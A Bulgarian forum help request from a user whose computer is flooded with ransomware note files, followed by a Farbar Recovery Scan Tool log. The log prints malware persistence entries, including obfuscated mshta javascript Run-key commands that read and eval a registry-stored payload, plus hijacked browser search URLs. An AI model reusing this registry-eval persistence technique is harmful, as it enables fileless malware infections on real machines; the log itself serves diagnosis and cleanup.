Премини към съдържанието

Препоръчан отговор


Здравейте, след рестарт на компютъра ми се появиха тези файлове навсякъде из папките.Общо взето целия компютър е пълен около 250 копия някъде има общо.

При стартиране на самия уиндоус, се отварят със, "adobe image ready, chrome, winamp. И става страшно мазало, повечето снимки се отварят с уинамп, който не съм инсталирал дори

Моля за помощ.

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version:07-02-2016
Ran by ASIA (administrator) on ASIA-PC (16-02-2016 12:21:43)
Running from C:\Users\ASIA\Desktop
Loaded Profiles: ASIA (Available Profiles: ASIA)
Platform: Microsoft Windows 7 Ultimate  Service Pack 1 (X86) Language: Български (България)
Internet Explorer Version 10 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(ALWIL Software) C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
(ALWIL Software) C:\Program Files\Alwil Software\Avast4\ashServ.exe
(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe
() C:\Program Files\BitTorrent\BitTorrent.exe
(ALWIL Software) C:\Program Files\Alwil Software\Avast4\ashDisp.exe
(Advanced Micro Devices Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Core-Static\MOM.exe
(Hewlett-Packard Co.) C:\Program Files\HP\HP Software Update\hpwuSchd2.exe
(Marvell Semiconductor, Inc.) C:\Program Files\Hewlett-Packard\PrnStatusMX\PrnStatusMX.exe
(Microsoft Corporation) C:\Windows\System32\regsvr32.exe
(Tonec Inc.) C:\Program Files\Internet Download Manager\IDMan.exe
() C:\Users\ASIA\AppData\Roaming\WinKun\winkun.exe
(ATI Technologies Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Core-Static\CCC.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Tonec Inc.) C:\Program Files\Internet Download Manager\IEMonitor.exe
() C:\Users\ASIA\AppData\Local\YRSPack\tmpE59D.exe
(ALWIL Software) C:\Program Files\Alwil Software\Avast4\ashWebSv.exe
(ALWIL Software) C:\Program Files\Alwil Software\Avast4\ashMaiSv.exe
(Microsoft Corporation) C:\Windows\System32\regsvr32.exe
(Microsoft Corporation) C:\Windows\System32\regsvr32.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework\v3.0\WPF\PresentationFontCache.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe


==================== Registry (Whitelisted) ===========================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [avast!] => C:\Program Files\Alwil Software\Avast4\ashDisp.exe [81000 2009-08-17] (ALWIL Software)
HKLM\...\Run: [StartCCC] => C:\Program Files\ATI Technologies\ATI.ACE\Core-Static\CLIStart.exe [642304 2013-04-30] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [AMD AVT] => C:\Program Files\AMD AVT\bin\kdbsync.exe [20992 2012-03-19] ()
HKLM\...\Run: [CorelDRAW Graphics Suite 11b] => C:\Program Files\Corel\Corel Graphics 12\Languages\EN\Programs\Registration.exe [729088 2003-11-25] (Corel Corporation)
HKLM\...\Run: [HP Software Update] => C:\Program Files\Hp\HP Software Update\HPWuSchd2.exe [49152 2005-02-16] (Hewlett-Packard Co.)
HKLM\...\Run: [] => [X]
HKLM\...\Run: [HPUsageTracking] => C:\Program Files\Hewlett-Packard\HP UT\bin\hppusg.exe [36864 2007-11-02] ()
HKLM\...\Run: [PrnStatusMX] => C:\Program Files\Hewlett-Packard\PrnStatusMX\PrnStatusMX.exe [1077248 2007-08-29] (Marvell Semiconductor, Inc.)
HKLM\...\Run: [**02a96052<*>] => mshta javascript:o4b7FWfdJT="TmhYwCrPi8";l98q=new%20ActiveXObject("WScript.Shell");wxOK8Aoes7="Bd";c29tcP=l98q.RegRead("HKLM\\software\\5004fe8754\\edeb5a31");tZ6fR9iaeQ="EH";eval(c29tcP);aNI0uzB1c="2 (the data entry has 3 more characters). <===== ATTENTION (Value Name with invalid characters)
HKLM\...\Policies\Explorer\Run: [1351760081] => C:\ProgramData\mszupemgj.exe [86016 2010-11-20] ()
HKLM\...\Policies\Explorer\Run: [530901108] => C:\ProgramData\msqiz.exe [86016 2010-11-20] ()
HKLM\...\Policies\Explorer\Run: [394597477] => C:\ProgramData\msaxjrs.exe [86016 2010-11-20] ()
HKLM\...\Policies\Explorer\Run: [**c2fcb47f<*>] => mshta javascript:dHS95BVg="j861GBA";E4P=new%20ActiveXObject("WScript.Shell");A1bXEep="yI8Bq4";FQPp5=E4P.RegRead("HKLM\\software\\5004fe8754\\edeb5a31");mWKP5aM="PEz9MHG";eval(FQPp5);WZ5rhUv5u="Syc2"; <===== ATTENTION (Value Name with invalid characters)
HKLM\...\Policies\Explorer\Run: [525862335] => C:\ProgramData\msolvrrq.exe [105472 2010-11-20] ()
HKLM\...\Policies\Explorer\Run: [395321133] => C:\ProgramData\mseujcmn.exe [105472 2010-11-20] ()
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [DAEMON Tools Lite] => C:\Program Files\DAEMON Tools Lite\DTLite.exe [3672640 2013-03-14] (Disc Soft Ltd)
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [YRSPack] => C:\Users\ASIA\AppData\Local\YRSPack\tmpE59D.exe [137507 2016-02-12] ()
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [Aqssworks] => regsvr32.exe C:\Users\ASIA\AppData\Local\Aqssworks\CvtMobilepnp.dll <===== ATTENTION
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [**02a96052<*>] => mshta javascript:yxFBY20GP="J";Hs2=new%20ActiveXObject("WScript.Shell");Sfs1mQV="qyjsY54";G6Tsj=Hs2.RegRead("HKCU\\software\\5004fe8754\\edeb5a31");Vk3ZSmDc2="db25ztK";eval(G6Tsj);ShA9sYH="S11"; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [Izjmsoft] => C:\Windows\System32\regsvr32.exe C:\Users\ASIA\AppData\Local\YRSPack\nMainWan.dll
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [bparse] => C:\Users\ASIA\AppData\Roaming\WinKun\winkun.exe [157696 2016-02-12] ()
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [addon_v57] => C:\Windows\htcqkssac.exe
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Run: [IDMan] => C:\Program Files\Internet Download Manager\IDMan.exe [3915832 2016-01-29] (Tonec Inc.)
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\MountPoints2: {2785780e-ccc8-11e5-a07b-001e8c7ba91b} - G:\Setup.exe -auto
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...409d6c4515e9\InprocServer32: [Default-shell32] C:\Users\ASIA\AppData\Local\YRSPack\nMainWan.dll ATTENTION
ShellIconOverlayIdentifiers: [   IDM Shell Extension] -> {CDC95B92-E27C-4745-A8C5-64A52A78855D} => C:\Program Files\Internet Download Manager\IDMShellExt.dll [2015-08-14] (Tonec Inc.)
ShellIconOverlayIdentifiers: [0PerformanceMonitor] -> {3B5B973C-92A4-4855-9D3F-0F3D23332208} => C:\ProgramData\Microsoft\Performance\Monitor\PerformanceMonitor.dll [2016-02-06] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.HTM [2016-02-16] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.PNG [2016-02-16] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.TXT [2016-02-16] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.HTM [2016-02-13] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.PNG [2016-02-13] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.TXT [2016-02-13] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+stxwl.HTM [2016-02-16] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+stxwl.PNG [2016-02-16] ()
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+stxwl.TXT [2016-02-16] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adobe Gamma.lnk [2016-02-07]
ShortcutTarget: Adobe Gamma.lnk -> C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe (Adobe Systems, Inc.)
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_173BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_173BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_273BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_273BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_373BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_373BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_473BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_473BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_573BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_573BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_673BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_673BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_773BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_773BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_873BF33.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_FILE_873BF33.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\INSTRUCTIONS_37B9677.html [2016-02-12] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\INSTRUCTIONS_37B9677.png.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\INSTRUCTIONS_37B9677.txt.mp3 [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.HTM [2016-02-16] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.PNG [2016-02-16] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+abcku.TXT [2016-02-16] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.HTM [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.PNG [2016-02-13] ()
Startup: C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVER+dcsso.TXT [2016-02-13] ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{DDC492DF-BC84-42F9-BBF7-927EF11CA607}: [DhcpNameServer] 192.168.1.1

Internet Explorer:
==================
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://%66%65%65%64.%73%6E%61%70%64%6F.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdpTD0BdVf3PtAdvTeINIWl6RrrI-Sqv4seqfwVya8gPFx6XDEcxmB2vUM9ACXkuF_Ot0k-bFGhamM3QDz-KTYGuFC__
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
HKU\S-1-5-21-453653979-2920626349-2146122030-1000\Software\Microsoft\Internet Explorer\Main,SearchAssistant = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
SearchScopes: HKLM -> DefaultScope {ielnksrch} URL = 
SearchScopes: HKLM -> ielnksrch URL = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
SearchScopes: HKU\S-1-5-21-453653979-2920626349-2146122030-1000 -> DefaultScope {ielnksrch} URL = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
SearchScopes: HKU\S-1-5-21-453653979-2920626349-2146122030-1000 -> {ielnksrch} URL = hxxp://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYN4IixPrDDO1r_2yb1yfDu7SfDiX6rI5IsXSgLq8Ix8kctD2_EIFy_-U9GosjqdJmeTBIEhmTfKpcpzjnnAy2-AAU6&q={searchTerms}
BHO: IDM integration (IDMIEHlprObj Class) -> {0055C089-8582-441B-A0BF-17B458C2A3A8} -> C:\Program Files\Internet Download Manager\IDMIECC.dll [2015-12-08] (Internet Download Manager, Tonec Inc.)

FireFox:
========
FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Program Files\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-06] (Google Inc.)
FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Program Files\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-06] (Google Inc.)
FF Plugin: @videolan.org/vlc,version=2.2.1 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2015-04-13] (VideoLAN)
FF HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\SeaMonkey\Extensions: [mozilla_cc2@internetdownloadmanager.com] - C:\Program Files\Internet Download Manager\idmmzcc2.xpi
FF Extension: IDM integration - C:\Program Files\Internet Download Manager\idmmzcc2.xpi [2016-01-27]
FF HKU\S-1-5-21-453653979-2920626349-2146122030-1000\...\SeaMonkey\Extensions: [mozilla_cc@internetdownloadmanager.com] - C:\Users\ASIA\AppData\Roaming\IDM\idmmzcc5
FF Extension: IDM CC - C:\Users\ASIA\AppData\Roaming\IDM\idmmzcc5 [2016-02-16] [not signed]

Chrome: 
=======
CHR HomePage: Default -> hxxp://%66%65%65%64.%73%6E%61%70%64%6F.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4kfysGLqKaQbmz2bqsErQ4Rq-0-ARmPq_Mx411YcRn0ZB546Zt5GNywnCIxACFNsbdYWAo2ryYv9v_ScN2fqfd9aHmKKanyAe_sm1Wz0oH3z2NqL4fMFnxCHHySE77vlkyZ7k55923t6J7WBI6HwV9SO4bmf
CHR StartupUrls: Default -> "hxxp://google.bg/"
CHR Profile: C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Диск) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-02-16]
CHR Extension: (YouTube) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-02-16]
CHR Extension: (IDM Integration Module) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\cnndejjdfkkccickmkplcmldfghkofog [2016-02-16]
CHR Extension: (Google Търсене) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2016-02-16]
CHR Extension: (AdBlock) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2016-02-16]
CHR Extension: (Плащания в уеб магазина на Chrome) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-02-16]
CHR Extension: (Gmail) - C:\Users\ASIA\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-02-16]
CHR HKLM\...\Chrome\Extension: [fcgnigmofekcllgbiejhmigggmgehkip] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [ngpampappnmepgilojfohadhhmbhlaek] - C:\Program Files\Internet Download Manager\IDMGCExt.crx [2016-02-11]

==================== Services (Whitelisted) ========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S3 Adobe LM Service; C:\Program Files\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2016-02-07] (Adobe Systems) [File not signed]
R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [291840 2013-04-29] (Advanced Micro Devices, Inc.) [File not signed]
R2 aswUpdSv; C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe [18752 2009-08-17] (ALWIL Software)
R2 avast! Antivirus; C:\Program Files\Alwil Software\Avast4\ashServ.exe [138680 2009-08-17] (ALWIL Software)
R3 avast! Mail Scanner; C:\Program Files\Alwil Software\Avast4\ashMaiSv.exe [254040 2009-08-17] (ALWIL Software)
R3 avast! Web Scanner; C:\Program Files\Alwil Software\Avast4\ashWebSv.exe [352920 2009-08-17] (ALWIL Software)
R2 BitTorrent; C:\Program Files\BitTorrent\BitTorrent.exe [383488 2016-02-06] () [File not signed] <==== ATTENTION
S2 updvte; C:\Users\ASIA\AppData\Local\Daltron.exe [28160 2016-02-06] () [File not signed]
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-14] (Microsoft Corporation)
S2 caMyciloP; C:\ProgramData\\caMyciloP\\caMyciloP.exe -f "C:\ProgramData\\caMyciloP\\caMyciloP.dat" -l -a

===================== Drivers (Whitelisted) ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 aswFsBlk; C:\Windows\System32\DRIVERS\aswFsBlk.sys [20560 2009-08-17] (ALWIL Software)
R2 aswMonFlt; C:\Windows\System32\DRIVERS\aswMonFlt.sys [53328 2009-08-17] (ALWIL Software)
R1 aswRdr; C:\Windows\system32\Drivers\aswRdr.sys [23152 2009-08-17] (ALWIL Software)
R1 aswSP; C:\Windows\system32\Drivers\aswSP.sys [114768 2009-08-17] (ALWIL Software)
R1 aswTdi; C:\Windows\system32\Drivers\aswTdi.sys [51376 2009-08-17] (ALWIL Software)
R1 dtsoftbus01; C:\Windows\System32\DRIVERS\dtsoftbus01.sys [242240 2016-02-06] (DT Soft Ltd)
R3 MTsensor; C:\Windows\System32\DRIVERS\ASACPI.sys [5810 2004-08-13] ()
S3 NVNET; system32\DRIVERS\nvmf6232.sys [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-02-16 12:21 - 2016-02-16 12:21 - 00020200 _____ C:\Users\ASIA\Desktop\FRST.txt
2016-02-16 12:20 - 2016-02-16 10:39 - 01721344 _____ (Farbar) C:\Users\ASIA\Desktop\FRST.exe
2016-02-16 12:19 - 2016-02-16 12:21 - 00000000 ____D C:\FRST
2016-02-16 10:40 - 2016-02-16 10:40 - 00003072 _____ C:\Users\ASIA\Documents\vmpxu.exe
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Public\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Public\Downloads\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\Downloads\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\Documents\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\Desktop\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\AppData\Roaming\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\AppData\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default\AppData\Local\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\Downloads\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\Documents\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\Desktop\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\AppData\Roaming\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\AppData\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Default User\AppData\Local\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\ASIA\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\ASIA\Downloads\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\ASIA\Documents\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00007026 _____ C:\Users\ASIA\AppData\RECOVER+abcku.HTM
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Public\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Public\Downloads\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\Downloads\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\Documents\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\Desktop\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\AppData\Roaming\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\AppData\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default\AppData\Local\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\Downloads\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\Documents\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\Desktop\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\AppData\Roaming\RECOVER+abcku.TXT
